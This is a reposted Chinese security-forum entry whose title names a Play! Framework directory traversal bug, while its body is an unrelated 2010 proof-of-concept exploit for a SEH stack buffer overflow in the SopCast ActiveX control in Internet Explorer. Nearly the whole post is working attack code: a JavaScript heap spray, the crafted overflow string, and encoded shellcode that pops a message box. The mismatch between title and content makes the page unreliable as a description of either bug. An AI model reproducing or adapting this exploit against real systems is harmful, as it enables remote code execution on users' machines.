首页
社区
课程
招聘
[转帖]Exploit Title: Play! Framework <= 1.0.3.1 Directory Transversal Vulnerability
发表于: 2010-8-11 12:10 3630

[转帖]Exploit Title: Play! Framework <= 1.0.3.1 Directory Transversal Vulnerability

2010-8-11 12:10
3630
--> 

   
<html>  

<Center>  

<H1>Sopcast POC by Sud0<br></H1>  

<b>Tested on XP SP3 EN on VBox with IE 7<br>  

Spraying a lot to get a nice unicode usable address 0x20260078<br>  

I sprayed with a set of P/P/R instructions to come back to the stack<br>  

***Need internet connection on the box to trigger the vuln***<br>  

Wait for the Spray to finish (IE will seem freezed for some seconds)<br>  

The Sopcast control will be loaded and shown on the page<br>  

wait approx 3 to 5 seconds and a message box should appear<br>  

</b>  

</Center>  

<!--  

# Exploit Title : SopCast BOF  

# Date          : August 10, 2010  

# Author        : Sud0  

# Bug found by  : Sud0  

# Software Link : http://www.sopcast.com - http://www.easetuner.com  

# Version       : 3.2.9  

# OS            : Windows  

# Tested on     : XP SP3 En (VirtualBox) Fully Patched, Internet Explorer 7  

# Type of vuln  : Stack Buffer Overflow - SEH  

# Advisory      : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-059  

# Big thanks to : my wife for supporting me  

# Greetz to     : Corelan Security Team  

# http://www.corelan.be:8800/index.php/security/corelan-team-members/  

    

<object classid='clsid:8FEFF364-6A5F-4966-A917-A3AC28411659' id='boom' ></object>  

<script>  

// ######################################### Begin of spraying with (nops + Pop/Pop/Ret) instructions to come back to the stack  

   

var nops = unescape("%49%41");  // some nice nops on ECX  

var ppr = unescape("%49%58%49%58%49%c3");  // Pop EAX / pop EAX / Ret  

var ppraddy = 0x20260078;  

var BlockSize = 0x200000;   

var BlockHeaderSize = 0x26;   

var PPRSize = 0x6;  

var nopSize = BlockSize - (PPRSize + BlockHeaderSize);   

var heapBlocks = (ppraddy+BlockSize*2)/(BlockSize*2);   

var Spray = new Array();   

  while (nops.length<nopSize)   

    {  

    nops += nops;   

    }  

nops = nops.substring(0,nopSize);  

  for (i=0;i<heapBlocks;i++)   

   {   

    Spray[i] = nops +  ppr;   

   }   

// ######################################### end of spraying  

   

      var buffSize = 522;   // (516 + 6 = sop:// )offset to overwrite EIP  

      var x="sop://";  

    while (x.length<buffSize) x += unescape("%41");  

    x+=unescape("%41");  

    x+=unescape("%41");  

    x+=unescape("%87");  //low unicode bytes of seh destination address 0035 (0x20260087)  

    x+="…";  //High unicode bytes of seh destination address 2026 (0x20260087)  

    x+=unescape("%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49");  

      x+=unescape("%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A");  

      x+=unescape("%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49");  

      x+=unescape("%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%52%49%c3");  

   

// some junk before shellcode  

for (i=0;i<330;i++)   

   {   

    x+=unescape("%41");  

   }   

   

// messagebox shellcode  

x+="RRYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIA";  

x+="IQI111AIAJQYAZBABABABABkMAGB9u4JBfyjK3kXYRTLdKDNQyBx2pzlqGYS4DKPqlpBkQfzl2kpvMLTKq6LH4KqnmP";  

x+="TKMfNXNoLXrUL3Ny9qXQKOYQc0bkplo4nDrk15oLTKPTKUD8KQXj2kMzlX4K1JkpyqjK7sp7OY4KMdtKKQZNLqIomaw";  

x+="PilVLRdWPBTlJ6a6olMJawWHil1YoKOKOmk3LKtMXSEgnRkojO4YqZK0fBkzlpKRkqJKlm1JKdKitRkkQxhe9oTLdML";  

x+="31es6RKXKywdsY9UCYfbOx2npNZnzLpR8h5LkOKOkOQyQ5kT5kSNj8yRBSSWmLo4nrxhdKKOKOKOe9oUkXoxRLplMPK";  

x+="O1XLsnRnNs41Xaet3REbRQx1LmTkZSYK6pVKOPULDqyWRPPWKSxg2Nm5lQwklktPRYXqN9okOYo38PlaQPnQH2HPCrO";  

x+="2RqUNQ9KrhqLMTlG1yGsQXnPpXkpKp1XKpNs45s4OxQTmPOrQiQXpoOysDouQXMucHRPPllqWYrhPLktKaQy7qNQ6rN";  

x+="rpSpQqBkOvpNQgPB0ioNuyxkZA";  

   

// some junk after shellcode  

for (i=0;i<40000;i++)   

   {   

    x+=unescape("%41");  

   }   

   

// calling the boom  

    boom.ChannelName=x; // setting channel name  

    boom.SetSopAddress(x); // getting address to trigger the boom  

   

</script>  

</html> 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//